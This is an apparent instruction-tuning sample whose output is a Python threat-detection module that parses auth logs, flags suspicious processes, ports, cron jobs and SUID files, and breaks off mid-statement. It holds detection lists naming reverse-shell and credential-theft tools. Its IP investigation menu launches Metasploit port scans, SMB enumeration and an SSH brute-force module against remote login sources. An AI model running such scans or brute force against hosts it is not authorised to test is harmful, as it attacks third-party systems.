Instruction: Create an AUTARCH module in the 'counter' category that threat detection & incident response. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.

Input:
Module name: counter
Category: counter
Description: Threat detection & incident response

Output:
"""
AUTARCH Counter Module
Threat detection and incident response

Monitors system for suspicious activity and potential threats.
"""

import os
import sys
import subprocess
import re
import socket
import json
import time
from pathlib import Path
from datetime import datetime, timedelta
from collections import Counter
from dataclasses import dataclass
from typing import Dict, List, Optional, Any

# Module metadata
DESCRIPTION = "Threat detection & incident response"
AUTHOR = "darkHal"
VERSION = "2.0"
CATEGORY = "counter"

sys.path.insert(0, str(Path(__file__).parent.parent))
from core.banner import Colors, clear_screen, display_banner

# Try to import requests for GeoIP lookup
try:
    import requests
    REQUESTS_AVAILABLE = True
except ImportError:
    requests = None
    REQUESTS_AVAILABLE = False

@dataclass
class LoginAttempt:
    """Information about a login attempt from an IP."""
    ip: str
    count: int
    last_attempt: Optional[datetime] = None
    usernames: List[str] = None
    hostname: Optional[str] = None
    country: Optional[str] = None
    city: Optional[str] = None
    isp: Optional[str] = None
    geo_data: Optional[Dict] = None

    def __post_init__(self):
        if self.usernames is None:
            self.usernames = []

# Metasploit recon modules for IP investigation
MSF_RECON_MODULES = [
    {
        'name': 'TCP Port Scan',
        'module': 'auxiliary/scanner/portscan/tcp',
        'description': 'TCP port scanner - scans common ports',
        'options': {'PORTS': '21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080'}
    },
    {
        'name': 'SYN Port Scan',
        'module': 'auxiliary/scanner/portscan/syn',
        'description': 'SYN stealth port scanner (requires root)',
        'options': {'PORTS': '21-23,25,53,80,110,139,143,443,445,3306,3389,5900,8080'}
    },
    {
        'name': 'SSH Version Scanner',
        'module': 'auxiliary/scanner/ssh/ssh_version',
        'description': 'Detect SSH version and supported algorithms',
        'options': {}
    },
    {
        'name': 'SSH Login Check',
        'module': 'auxiliary/scanner/ssh/ssh_login',
        'description': 'Brute force SSH login (requires wordlists)',
        'options': {}
    },
    {
        'name': 'SMB Version Scanner',
        'module': 'auxiliary/scanner/smb/smb_version',
        'description': 'Detect SMB version and OS information',
        'options': {}
    },
    {
        'name': 'SMB Share Enumeration',
        'module': 'auxiliary/scanner/smb/smb_enumshares',
        'description': 'Enumerate available SMB shares',
        'options': {}
    },
    {
        'name': 'HTTP Version Scanner',
        'module': 'auxiliary/scanner/http/http_version',
        'description': 'Detect HTTP server version',
        'options': {}
    },
    {
        'name': 'FTP Version Scanner',
        'module': 'auxiliary/scanner/ftp/ftp_version',
        'description': 'Detect FTP server version',
        'options': {}
    },
    {
        'name': 'Telnet Version Scanner',
        'module': 'auxiliary/scanner/telnet/telnet_version',
        'description': 'Detect Telnet banner and version',
        'options': {}
    },
    {
        'name': 'SNMP Enumeration',
        'module': 'auxiliary/scanner/snmp/snmp_enum',
        'description': 'Enumerate SNMP information',
        'options': {}
    },
    {
        'name': 'RDP Scanner',
        'module': 'auxiliary/scanner/rdp/rdp_scanner',
        'description': 'Detect RDP service',
        'options': {}
    },
    {
        'name': 'MySQL Version Scanner',
        'module': 'auxiliary/scanner/mysql/mysql_version',
        'description': 'Detect MySQL server version',
        'options': {}
    },
    {
        'name': 'VNC None Auth Scanner',
        'module': 'auxiliary/scanner/vnc/vnc_none_auth',
        'description': 'Check for VNC servers with no authentication',
        'options': {}
    },
]

class Counter:
    """Threat detection and response."""

    def __init__(self):
        self.threats = []
        self.login_attempts: Dict[str, LoginAttempt] = {}
        self._init_session()

    def _init_session(self):
        """Initialize HTTP session for GeoIP lookups."""
        self.session = None
        if REQUESTS_AVAILABLE:
            self.session = requests.Session()
            adapter = requests.adapters.HTTPAdapter(max_retries=2)
            self.session.mount('https://', adapter)
            self.session.mount('http://', adapter)
            self.session.headers.update({
                'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
            })

    def print_status(self, message: str, status: str = "info"):
        colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED}
        symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"}
        print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}")

    def alert(self, category: str, message: str, severity: str = "medium"):
        """Record a threat alert."""
        self.threats.append({"category": category, "message": message, "severity": severity})
        color = Colors.RED if severity == "high" else Colors.YELLOW if severity == "medium" else Colors.CYAN
        print(f"{color}[ALERT] {category}: {message}{Colors.RESET}")

    def run_cmd(self, cmd: str) -> tuple:
        try:
            result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=30)
            return result.returncode == 0, result.stdout.strip()
        except:
            return False, ""

    def get_hostname(self, ip: str) -> Optional[str]:
        """Resolve IP to hostname via reverse DNS."""
        try:
            hostname, _, _ = socket.gethostbyaddr(ip)
            return hostname
        except (socket.herror, socket.gaierror, socket.timeout):
            return None

    def get_geoip(self, ip: str) -> Optional[Dict]:
        """Get geolocation data for an IP address."""
        if not self.session:
            return None

        # Skip private/local IPs
        if ip.startswith('127.') or ip.startswith('192.168.') or ip.startswith('10.') or ip.startswith('172.'):
            return {'country': 'Local', 'city': 'Private Network', 'isp': 'N/A'}

        try:
            # Try ipwho.is first
            response = self.session.get(f"https://ipwho.is/{ip}", timeout=5)
            if response.status_code == 200:
                data = response.json()
                if data.get('success', True):
                    return {
                        'country': data.get('country', 'Unknown'),
                        'country_code': data.get('country_code', ''),
                        'region': data.get('region', ''),
                        'city': data.get('city', 'Unknown'),
                        'latitude': data.get('latitude'),
                        'longitude': data.get('longitude'),
                        'isp': data.get('connection', {}).get('isp', 'Unknown'),
                        'org': data.get('connection', {}).get('org', ''),
                        'asn': data.get('connection', {}).get('asn', ''),
                    }
        except Exception:
            pass

        try:
            # Fallback to ipinfo.io
            response = self.session.get(f"https://ipinfo.io/{ip}/json", timeout=5)
            if response.status_code == 200:
                data = response.json()
                loc = data.get('loc', ',').split(',')
                lat = float(loc[0]) if len(loc) > 0 and loc[0] else None
                lon = float(loc[1]) if len(loc) > 1 and loc[1] else None
                return {
                    'country': data.get('country', 'Unknown'),
                    'country_code': data.get('country'),
                    'region': data.get('region', ''),
                    'city': data.get('city', 'Unknown'),
                    'latitude': lat,
                    'longitude': lon,
                    'isp': data.get('org', 'Unknown'),
                    'org': data.get('org', ''),
                }
        except Exception:
            pass

        return None

    def parse_auth_logs(self) -> Dict[str, LoginAttempt]:
        """Parse authentication logs and extract failed login attempts."""
        attempts: Dict[str, LoginAttempt] = {}
        raw_log_lines = []

        # Try different log locations
        log_files = [
            '/var/log/auth.log',
            '/var/log/secure',
            '/var/log/messages',
        ]

        log_content = ""
        for log_file in log_files:
            success, output = self.run_cmd(f"cat {log_file} 2>/dev/null")
            if success and output:
                log_content = output
                break

        if not log_content:
            return attempts

        # Parse log entries for failed attempts
        # Common patterns:
        # "Failed password for root from 192.168.1.100 port 22 ssh2"
        # "Failed password for invalid user admin from 192.168.1.100 port 22"
        # "Invalid user admin from 192.168.1.100 port 22"
        # "Connection closed by authenticating user root 192.168.1.100 port 22 [preauth]"

        patterns = [
            # Failed password for user from IP
            r'(\w{3}\s+\d+\s+[\d:]+).*Failed password for (?:invalid user )?(\S+) from (\d+\.\d+\.\d+\.\d+)',
            # Invalid user from IP
            r'(\w{3}\s+\d+\s+[\d:]+).*Invalid user (\S+) from (\d+\.\d+\.\d+\.\d+)',
            # Connection closed by authenticating user
            r'(\w{3}\s+\d+\s+[\d:]+).*Connection closed by (?:authenticating user )?(\S+) (\d+\.\d+\.\d+\.\d+)',
            # pam_unix authentication failure
            r'(\w{3}\s+\d+\s+[\d:]+).*pam_unix.*authentication failure.*ruser=(\S*) rhost=(\d+\.\d+\.\d+\.\d+)',
        ]

        for line in log_content.split('\n'):
            if 'failed' in line.lower() or 'invalid user' in line.lower() or 'authentication failure' in line.lower():
                raw_log_lines.append(line)

                for pattern in patterns:
                    match = re.search(pattern, line, re.IGNORECASE)
                    if match:
                        timestamp_str, username, ip = match.groups()
                        username = username if username else 'unknown'

                        # Parse timestamp (assuming current year)
                        try:
                            current_year = datetime.now().year
                            timestamp = datetime.strptime(f"{current_year} {timestamp_str}", "%Y %b %d %H:%M:%S")
                        except ValueError:
                            timestamp = None

                        if ip not in attempts:
                            attempts[ip] = LoginAttempt(ip=ip, count=0)

                        attempts[ip].count += 1
                        if timestamp:
                            if attempts[ip].last_attempt is None or timestamp > attempts[ip].last_attempt:
                                attempts[ip].last_attempt = timestamp
                        if username not in attempts[ip].usernames:
                            attempts[ip].usernames.append(username)

                        break

        # Store raw logs for later viewing
        self._raw_auth_logs = raw_log_lines

        return attempts

    def enrich_login_attempts(self, attempts: Dict[str, LoginAttempt], show_progress: bool = True):
        """Enrich login attempts with GeoIP and hostname data."""
        total = len(attempts)
        for i, (ip, attempt) in enumerate(attempts.items()):
            if show_progress:
                print(f"\r{Colors.CYAN}[*] Enriching IP data... {i+1}/{total}{Colors.RESET}", end='', flush=True)

            # Get hostname
            attempt.hostname = self.get_hostname(ip)

            # Get GeoIP data
            geo_data = self.get_geoip(ip)
            if geo_data:
                attempt.country = geo_data.get('country')
                attempt.city = geo_data.get('city')
                attempt.isp = geo_data.get('isp')
                attempt.geo_data = geo_data

        if show_progress:
            print()  # New line after progress

    def check_suspicious_processes(self):
        """Look for suspicious processes."""
        print(f"\n{Colors.BOLD}Scanning for Suspicious Processes...{Colors.RESET}\n")

        # Known malicious process names
        suspicious_names = [
            "nc", "ncat", "netcat", "socat",  # Reverse shells
            "msfconsole", "msfvenom", "meterpreter",  # Metasploit
            "mimikatz", "lazagne", "pwdump",  # Credential theft
            "xmrig", "minerd", "cgminer",  # Cryptominers
            "tor", "proxychains",  # Anonymizers
        ]

        success, output = self.run_cmd("ps aux")
        if not success:
            self.print_status("Failed to get process list", "error")
            return

        found = []
        for line in output.split('\n')[1:]:
            parts = line.split()
            if len(parts) >= 11:
                proc_name = parts[10].split('/')[-1]
                for sus in suspicious_names:
                    if sus in proc_name.lower():
                        found.append((parts[1], proc_name, parts[0]))  # PID, name, user

        if found:
            for pid, name, user in found:
                self.alert("Suspicious Process", f"PID {pid}: {name} (user: {user})", "high")
        else:
            self.print_status("No known suspicious processes found", "success")

        # Check for hidden processes (comparing ps and /proc)
        success, ps_pids = self.run_cmd("ps -e -o pid=")
        if success:
            ps_set = set(ps_pids.split())
            proc_pids = set(p.name for p in Path("/proc").iterdir() if p.name.isdigit())
            hidden = proc_pids - ps_set
            if hidden:
                self.alert("Hidden Process", f"PIDs not in ps output: {', '.join(list(hidden)[:5])}", "high")

    def check_network_connections(self):
        """Analyze network connections for anomalies."""
        print(f"\n{Colors.BOLD}Analyzing Network Connections...{Colors.RESET}\n")

        success, output = self.run_cmd("ss -tunap 2>/dev/null || netstat -tunap 2>/dev/null")
        if not success:
            self.print_status("Failed to get network connections", "error")
            return

        suspicious_ports = {
            4444: "Metasploit default",
            5555: "Common backdoor",
            1337: "Common backdoor",
            31337: "Back Orifice",
            6667: "IRC (C2)",
            6666: "Common backdoor",
        }

        established_foreign = []
        listeners = []

        for line in output.split('\n'):
            if 'ESTABLISHED' in line:
                # Extract foreign address
                match = re.search(r'(\d+\.\d+\.\d+\.\d+):(\d+)\s+(\d+\.\d+\.\d+\.\d+):(\d+)', line)
                if match:
                    local_ip, local_port, foreign_ip, foreign_port = match.groups()
                    if not foreign_ip.startswith('127.'):
                        established_foreign.append((foreign_ip, foreign_port, line))

            if 'LISTEN' in line:
                match = re.search(r':(\d+)\s', line)
                if match:
                    port = int(match.group(1))
                    if port in suspicious_ports:
                        self.alert("Suspicious Listener", f"Port {port} ({suspicious_ports[port]})", "high")
                    listeners.append(port)

        # Check for connections to suspicious ports
        for ip, port, line in established_foreign:
            port_int = int(port)
            if port_int in suspicious_ports:
                self.alert("Suspicious Connection", f"Connected to {ip}:{port} ({suspicious_ports[port_int]})", "high")

        self.print_status(f"Found {len(established_foreign)} external connections, {len(listeners)} listeners", "info")

        # Show top foreign connections
        if established_foreign:
            print(f"\n{Colors.CYAN}External Connections:{Colors.RESET}")
            seen = set()
            for ip, port, _ in established_foreign[:10]:
                if ip not in seen:
                    print(f"  {ip}:{port}")
                    seen.add(ip)

    def check_login_anomalies(self):
        """Check for suspicious login activity - quick summary version."""
        print(f"\n{Colors.BOLD}Checking Login Activity...{Colors.RESET}\n")

        # Parse logs
        attempts = self.parse_auth_logs()
        self.login_attempts = attempts

        if not attempts:
            self.print_status("No failed login attempts found or could not read logs", "info")
            return

        total_attempts = sum(a.count for a in attempts.values())

        if total_attempts > 100:
            self.alert("Brute Force Detected", f"{total_attempts} failed login attempts from {len(attempts)} IPs", "high")
        elif total_attempts > 20:
            self.alert("Elevated Failed Logins", f"{total_attempts} failed attempts from {len(attempts)} IPs", "medium")
        else:
            self.print_status(f"{total_attempts} failed login attempts from {len(attempts)} unique IPs", "info")

        # Show top 5 IPs
        sorted_attempts = sorted(attempts.values(), key=lambda x: x.count, reverse=True)[:5]
        print(f"\n{Colors.CYAN}Top Source IPs:{Colors.RESET}")
        for attempt in sorted_attempts:
            print(f"  {attempt.ip}: {attempt.count} attempts")

        # Successful root logins
        success, output = self.run_cmd("last -n 20 root 2>/dev/null")
        if success and output and "root" in output:
            lines = [l for l in output.split('\n') if l.strip() and 'wtmp' not in l]
            if lines:
                print(f"\n{Colors.CYAN}Recent root logins:{Colors.RESET}")
                for line in lines[:5]:
                    print(f"  {line}")

    def login_anomalies_menu(self):
        """Interactive login anomalies menu with detailed IP information."""
        self._raw_auth_logs = []

        while True:
            clear_screen()
            display_banner()

            print(f"{Colors.MAGENTA}{Colors.BOLD}  Login Anomalies Analysis{Colors.RESET}")
            print(f"{Colors.DIM}  Investigate failed login attempts{Colors.RESET}")
            print(f"{Colors.DIM}  {'─' * 50}{Colors.RESET}")
            print()

            # Show cached data or prompt to scan
            if not self.login_attempts:
                print(f"  {Colors.YELLOW}No data loaded. Run a scan first.{Colors.RESET}")
                print()
                print(f"  {Colors.MAGENTA}[1]{Colors.RESET} Quick Scan (no GeoIP)")
                print(f"  {Colors.MAGENTA}[2]{Colors.RESET} Full Scan (with GeoIP lookup)")
            else:
                # Show summary
                total_attempts = sum(a.count for a in self.login_attempts.values())
                unique_ips = len(self.login_attempts)

                if total_attempts > 100:
                    status_color = Colors.RED
                    status_text = "HIGH THREAT"
                elif total_attempts > 20:
                    status_color = Colors.YELLOW
                    status_text = "MODERATE"
                else:
                    status_color = Colors.GREEN
                    status_text = "LOW"

                print(f"  Status: {status_color}{status_text}{Colors.RESET}")
                print(f"  Total Failed Attempts: {Colors.CYAN}{total_attempts}{Colors.RESET}")
                print(f"  Unique IPs: {Colors.CYAN}{unique_ips}{Colors.RESET}")
                print()

                # Show IPs as options
                print(f"  {Colors.BOLD}Source IPs (sorted by attempts):{Colors.RESET}")
                print()

                sorted_attempts = sorted(self.login_attempts.values(), key=lambda x: x.count, reverse=True)

                for i, attempt in enumerate(sorted_attempts[:15], 1):
                    # Build info line
                    timestamp_str = ""
                    if attempt.last_attempt:
                        timestamp_str = attempt.last_attempt.strftime("%Y-%m-%d %H:%M")

                    location_str = ""
                    if attempt.country:
                        location_str = f"{attempt.country}"
                        if attempt.city and attempt.city != 'Unknown':
                            location_str += f"/{attempt.city}"

                    host_str = ""
                    if attempt.hostname:
                        host_str = f"({attempt.hostname[:30]})"

                    # Color based on attempt count
                    if attempt.count > 50:
                        count_color = Colors.RED
                    elif attempt.count > 10:
                        count_color = Colors.YELLOW
                    else:
                        count_color = Colors.WHITE

                    print(f"  {Colors.MAGENTA}[{i:2}]{Colors.RESET} {attempt.ip:16} "
                          f"{count_color}{attempt.count:4} attempts{Colors.RESET}", end='')

                    if timestamp_str:
                        print(f"  {Colors.DIM}Last: {timestamp_str}{Colors.RESET}", end='')
                    if location_str:
                        print(f"  {Colors.CYAN}{location_str}{Colors.RESET}", end='')

                    print()

                if len(sorted_attempts) > 15:
                    print(f"  {Colors.DIM}... and {len(sorted_attempts) - 15} more IPs{Colors.RESET}")

                print()
                print(f"  {Colors.MAGENTA}[R]{Colors.RESET} Rescan (Quick)")
                print(f"  {Colors.MAGENTA}[F]{Colors.RESET} Full Rescan (with GeoIP)")
                print(f"  {Colors.MAGENTA}[L]{Colors.RESET} View Raw Auth Log")

            print()
            print(f"  {Colors.DIM}[0]{Colors.RESET} Back")
            print()

            choice = input(f"{Colors.WHITE}  Select: {Colors.RESET}").strip().lower()

            if choice == '0':
                break

            elif choice in ['1', 'r'] and (not self.login_attempts or choice == 'r'):
                # Quick scan
                print(f"\n{Colors.CYAN}[*] Scanning authentication logs...{Colors.RESET}")
                self.login_attempts = self.parse_auth_logs()
                if self.login_attempts:
                    self.print_status(f"Found {len(self.login_attempts)} unique IPs", "success")
                else:
                    self.print_status("No failed login attempts found", "info")
                input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")

            elif choice in ['2', 'f'] and (not self.login_attempts or choice == 'f'):
                # Full scan with GeoIP
                print(f"\n{Colors.CYAN}[*] Scanning authentication logs...{Colors.RESET}")
                self.login_attempts = self.parse_auth_logs()
                if self.login_attempts:
                    self.print_status(f"Found {len(self.login_attempts)} unique IPs", "success")
                    print(f"\n{Colors.CYAN}[*] Fetching GeoIP and hostname data...{Colors.RESET}")
                    self.enrich_login_attempts(self.login_attempts)
                    self.print_status("GeoIP enrichment complete", "success")
                else:
                    self.print_status("No failed login attempts found", "info")
                input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")

            elif choice == 'l' and self.login_attempts:
                # View raw log
                self.view_raw_auth_log()

            elif choice.isdigit() and self.login_attempts:
                idx = int(choice)
                sorted_attempts = sorted(self.login_attempts.values(), key=lambda x: x.count, reverse=True)
                if 1 <= idx <= len(sorted_attempts):
                    self.ip_detail_menu(sorted_attempts[idx - 1])

    def view_raw_auth_log(self):
        """Display raw authentication log entries."""
        clear_screen()
        display_banner()

        print(f"{Colors.MAGENTA}{Colors.BOLD}  Raw Authentication Log{Colors.RESET}")
        print(f"{Colors.DIM}  {'─' * 50}{Colors.RESET}")
        print()

        if not hasattr(self, '_raw_auth_logs') or not self._raw_auth_logs:
            print(f"  {Colors.YELLOW}No log data available. Run a scan first.{Colors.RESET}")
        else:
            # Show last 100 entries by default
            log_lines = self._raw_auth_logs[-100:]
            for line in log_lines:
                # Highlight IPs
                highlighted = re.sub(
                    r'(\d+\.\d+\.\d+\.\d+)',
                    f'{Colors.CYAN}\\1{Colors.RESET}',
                    line
                )
                # Highlight "failed"
                highlighted = re.sub(
                    r'(failed|invalid|authentication failure)',
                    f'{Colors.RED}\\1{Colors.RESET}',
                    highlighted,
                    flags=re.IGNORECASE
                )
                print(f"  {highlighted}")

            print()
            print(f"  {Colors.DIM}Showing last {len(log_lines)} of {len(self._raw_auth_logs)} entries{Colors.RESET}")

        print()
        input(f"{Colors.WHITE}Press Enter to continue...{Colors.RESET}")

    def ip_detail_menu(self, attempt: LoginAttempt):
        """Show detailed information and options for a specific IP."""
        while True:
            clear_screen()
            display_banner()

            print(f"{Colors.MAGENTA}{Colors.BOLD}  IP Investigation: {attempt.ip}{Colors.RESET}")
            print(f"{Colors.DIM}  {'─' * 50}{Colors.RESET}")
            print()

            # Basic info
            print(f"  {Colors.BOLD}Connection Statistics:{Colors.RESET}")
            print(f"    Failed Attempts:  {Colors.RED}{attempt.count}{Colors.RESET}")
            if attempt.last_attempt:
                print(f"    Last Attempt:     {Colors.CYAN}{attempt.last_attempt.strftime('%Y-%m-%d %H:%M:%S')}{Colors.RESET}")
            if attempt.usernames:
                usernames_str = ', '.join(attempt.usernames[:10])
                if len(attempt.usernames) > 10:
                    usernames_str += f" (+{len(attempt.usernames) - 10} more)"
                print(f"    Targeted Users:   {Colors.YELLOW}{usernames_str}{Colors.RESET}")
            print()

            # Network info
            print(f"  {Colors.BOLD}Network Information:{Colors.RESET}")
            print(f"    IP Address:       {Colors.CYAN}{attempt.ip}{Colors.RESET}")

            if attempt.hostname:
                print(f"    Hostname:         {Colors.CYAN}{attempt.hostname}{Colors.RESET}")
            else:
                # Try to resolve now if not cached
                hostname = self.get_hostname(attempt.ip)
                if hostname:
                    attempt.hostname = hostname
                    print(f"    Hostname:         {Colors.CYAN}{hostname}{Colors.RESET}")
                else:
                    print(f"    Hostname:         {Colors.DIM}(no reverse DNS){Colors.RESET}")

            print()

            # GeoIP info
            print(f"  {Colors.BOLD}Geolocation:{Colors.RESET}")
            if attempt.geo_data:
                geo = attempt.geo_data
                if geo.get('country'):
                    country_str = geo.get('country', 'Unknown')
                    if geo.get('country_code'):
                        country_str += f" ({geo['country_code']})"
                    print(f"    Country:          {Colors.CYAN}{country_str}{Colors.RESET}")
                if geo.get('region'):
                    print(f"    Region:           {Colors.CYAN}{geo['region']}{Colors.RESET}")
                if geo.get('city') and geo.get('city') != 'Unknown':
                    print(f"    City:             {Colors.CYAN}{geo['city']}{Colors.RESET}")
                if geo.get('isp'):
                    print(f"    ISP:              {Colors.CYAN}{geo['isp']}{Colors.RESET}")
                if geo.get('org') and geo.get('org') != geo.get('isp'):
                    print(f"    Organization:     {Colors.CYAN}{geo['org']}{Colors.RESET}")
                if geo.get('asn'):
                    print(f"    ASN:              {Colors.CYAN}{geo['asn']}{Colors.RESET}")
                if geo.get('latitude') and geo.get('longitude'):
                    print(f"    Coordinates:      {Colors.DIM}{geo['latitude']}, {geo['longitude']}{Colors.RESET}")
                    print(f"    Map:              {Colors.DIM}https://www.google.com/maps/@{geo['latitude']},{geo['longitude']},12z{Colors.RESET}")
            elif attempt.country:
                print(f"    Country:          {Colors.CYAN}{attempt.country}{Colors.RESET}")
                if attempt.city:
                    print(f"    City:             {Colors.CYAN}{attempt.city}{Colors.RESET}")
                if attempt.isp:
                    print(f"    ISP:              {Colors.CYAN}{attempt.isp}{Colors.RESET}")
            else:
                print(f"    {Colors.DIM}(GeoIP data not loaded - run Full Scan){Colors.RESET}")

            print()
            print(f"  {Colors.BOLD}Actions:{Colors.RESET}")
            print()
            print(f"  {Colors.MAGENTA}[G]{Colors.RESET} Fetch/Refresh GeoIP Data")
            print(f"  {Colors.MAGENTA}[W]{Colors.RESET} Whois Lookup")
            print(f"  {Colors.MAGENTA}[P]{Colors.RESET} Ping Target")
            print()
            print(f"  {Colors.BOLD}Metasploit Recon Modules:{Colors.RESET}")
            print()

            for i, module in enumerate(MSF_RECON_MODULES, 1):
                print(f"  {Colors.RED}[{i:2}]{Colors.RESET} {module['name']}")
                print(f"       {Colors.DIM}{module['description']}{Colors.RESET}")

            print()
            print(f"  {Colors.DIM}[0]{Colors.RESET} Back")
            print()

            choice = input(f"{Colors.WHITE}  Select: {Colors.RESET}").strip().lower()

            if choice == '0':
                break

            elif choice == 'g':
                # Refresh GeoIP
                print(f"\n{Colors.CYAN}[*] Fetching GeoIP data for {attempt.ip}...{Colors.RESET}")
                geo_data = self.get_geoip(attempt.ip)
                if geo_data:
                    attempt.geo_data = geo_data
                    attempt.country = geo_data.get('country')
                    attempt.city = geo_data.get('city')
                    attempt.isp = geo_data.get('isp')
                    self.print_status("GeoIP data updated", "success")
                else:
                    self.print_status("Could not fetch GeoIP data", "warning")
                input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")

            elif choice == 'w':
                # Whois lookup
                print(f"\n{Colors.CYAN}[*] Running whois lookup for {attempt.ip}...{Colors.RESET}\n")
                success, output = self.run_cmd(f"whois {attempt.ip} 2>/dev/null | head -60")
                if success and output:
                    print(output)
                else:
                    self.print_status("Whois lookup failed or not available", "warning")
                input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")

            elif choice == 'p':
                # Ping
                print(f"\n{Colors.CYAN}[*] Pinging {attempt.ip}...{Colors.RESET}\n")
                success, output = self.run_cmd(f"ping -c 4 {attempt.ip} 2>&1")
                print(output)
                input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")

            elif choice.isdigit():
                idx = int(choice)
                if 1 <= idx <= len(MSF_RECON_MODULES):
                    self.run_msf_recon(attempt.ip, MSF_RECON_MODULES[idx - 1])

    def run_msf_recon(self, target_ip: str, module_info: Dict):
        """Run a Metasploit recon module against the target IP."""
        clear_screen()
        display_banner()

        print(f"{Colors.RED}{Colors.BOLD}  Metasploit Recon: {module_info['name']}{Colors.RESET}")
        print(f"{Colors.DIM}  Target: {target_ip}{Colors.RESET}")
        print(f"{Colors.DIM}  Module: {module_info['module']}{Colors.RESET}")
        print(f"{Colors.DIM}  {'─' * 50}{Colors.RESET}")
        print()

        # Use the centralized MSF interface
        try:
            from core.msf_interface import get_msf_interface
        except ImportError:
            self.print_status("Metasploit interface not available", "error")
            input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
            return

        msf = get_msf_interface()

        # Ensure connected
        connected, msg = msf.ensure_connected()
        if not connected:
            print(f"{Colors.YELLOW}[!] {msg}{Colors.RESET}")
            print()
            print(f"    To connect, ensure msfrpcd is running:")
            print(f"    {Colors.DIM}msfrpcd -P yourpassword -S{Colors.RESET}")
            input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
            return

        # Build options
        options = {'RHOSTS': target_ip}
        options.update(module_info.get('options', {}))

        # Warn about SYN scan known issues
        if 'syn' in module_info['module'].lower():
            print(f"{Colors.YELLOW}[!] Note: SYN scan may produce errors if:{Colors.RESET}")
            print(f"    - Target has firewall filtering responses")
            print(f"    - Network NAT/filtering interferes with raw packets")
            print(f"    Consider TCP scan (option 1) for more reliable results.")
            print()

        # Show what we're about to run
        print(f"{Colors.CYAN}[*] Module Options:{Colors.RESET}")
        for key, value in options.items():
            print(f"    {key}: {value}")
        print()

        confirm = input(f"{Colors.YELLOW}Execute module? (y/n): {Colors.RESET}").strip().lower()
        if confirm != 'y':
            return

        # Execute via the interface
        print(f"\n{Colors.CYAN}[*] Executing {module_info['name']}...{Colors.RESET}")

        result = msf.run_module(module_info['module'], options, timeout=120)

        # Display results using the interface's formatter
        msf.print_result(result, verbose=False)

        # Add SYN-specific error guidance
        if result.error_count > 0 and 'syn' in module_info['module'].lower():
            print(f"\n{Colors.DIM}    SYN scan errors are often caused by:{Colors.RESET}")
            print(f"{Colors.DIM}    - Target firewall blocking responses{Colors.RESET}")
            print(f"{Colors.DIM}    - Network filtering/NAT issues{Colors.RESET}")
            print(f"{Colors.DIM}    - Known MSF SYN scanner bugs{Colors.RESET}")
            print(f"{Colors.DIM}    Try using TCP scan (option 1) instead.{Colors.RESET}")

        input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")

    def check_file_integrity(self):
        """Check for recently modified critical files."""
        print(f"\n{Colors.BOLD}Checking File Integrity...{Colors.RESET}\n")

        critical_paths = [
            "/etc/passwd",
            "/etc/shadow",
            "/etc/sudoers",
            "/etc/ssh/sshd_config",
            "/etc/crontab",
            "/root/.ssh/authorized_keys",
        ]

        recent_threshold = datetime.now() - timedelta(days=7)

        for filepath in critical_paths:
            p = Path(filepath)
            if p.exists():
                mtime = datetime.fromtimestamp(p.stat().st_mtime)
                if mtime > recent_threshold:
                    self.alert("Recent Modification", f"{filepath} modified {mtime.strftime('%Y-%m-%d %H:%M')}", "medium")
                else:
                    self.print_status(f"{filepath} - OK", "success")

        # Check for new SUID binaries
        print(f"\n{Colors.CYAN}Checking SUID binaries...{Colors.RESET}")
        success, output = self.run_cmd("find /usr -perm -4000 -type f 2>/dev/null")
        if success:
            suid_files = output.split('\n')
            known_suid = ['sudo', 'su', 'passwd', 'ping', 'mount', 'umount', 'chsh', 'newgrp']
            for f in suid_files:
                if f:
                    name = Path(f).name
                    if not any(k in name for k in known_suid):
                        self.alert("Unknown SUID", f"{f}", "medium")

    def check_scheduled_tasks(self):
        """Check cron jobs and scheduled tasks."""
        print(f"\n{Colors.BOLD}Checking Scheduled Tasks...{Colors.RESET}\n")

        # System crontab
        crontab = Path("/etc/crontab")
        if crontab.exists():
            content = crontab.read_text()
            # Look for suspicious commands
            suspicious = ['curl', 'wget', 'nc ', 'bash -i', 'python -c', 'perl -e', 'base64']
            for sus in suspicious:
                if sus in content:
                    self.alert("Suspicious Cron", f"Found '{sus}' in /etc/crontab", "high")

        # User crontabs
        success, output = self.run_cmd("ls /var/spool/cron/crontabs/ 2>/dev/null")
        if success and output:
            users = output.split('\n')
            self.print_status(f"Found crontabs for: {', '.join(users)}", "info")

        # Check /etc/cron.d
        cron_d = Path("/etc/cron.d")
        if cron_d.exists():
            for f in cron_d.iterdir():
                if f.is_file():
                    content = f.read_text()
                    for sus in ['curl', 'wget', 'nc ', 'bash -i']:
                        if sus in content:
                            self.alert("Suspicious Cron", f"Found '{sus}' in {f}", "medium")

    def check_rootkits(self):
        """Basic rootkit detection."""
        print(f"\n{Colors.BOLD}Running Rootkit Checks...{Colors.RESET}\n")

        # Check for hidden files in /tmp
        success, output = self.run_cmd("ls -la /tmp/. /tmp/.. 2>/dev/null")
        if success:
            hidden = re.findall(r'\.\w+', output)
            if len(hidden) > 5:
                self.alert("Hidden Files", f"Many hidden files in /tmp: {len(hidden)}", "medium")

        # Check for kernel modules
        success, output = self.run_cmd("lsmod")
        if success:
            suspicious_modules = ['rootkit', 'hide', 'stealth', 'sniff']
            for line in output.split('\n'):
                for sus in suspicious_modules:
                    if sus in line.lower():
                        self.alert("Suspicious Module", f"Kernel module: {line.split()[0]}", "high")

        # Check for process hiding
        success, output = self.run_cmd("ps aux | wc -l")
        success2, output2 = self.run_cmd("ls /proc | grep -E '^[0-9]+$' | wc -l")
        if success and success2:
            ps_count = int(output)
            proc_count = int(output2)
            if abs(ps_count - proc_count) > 5:
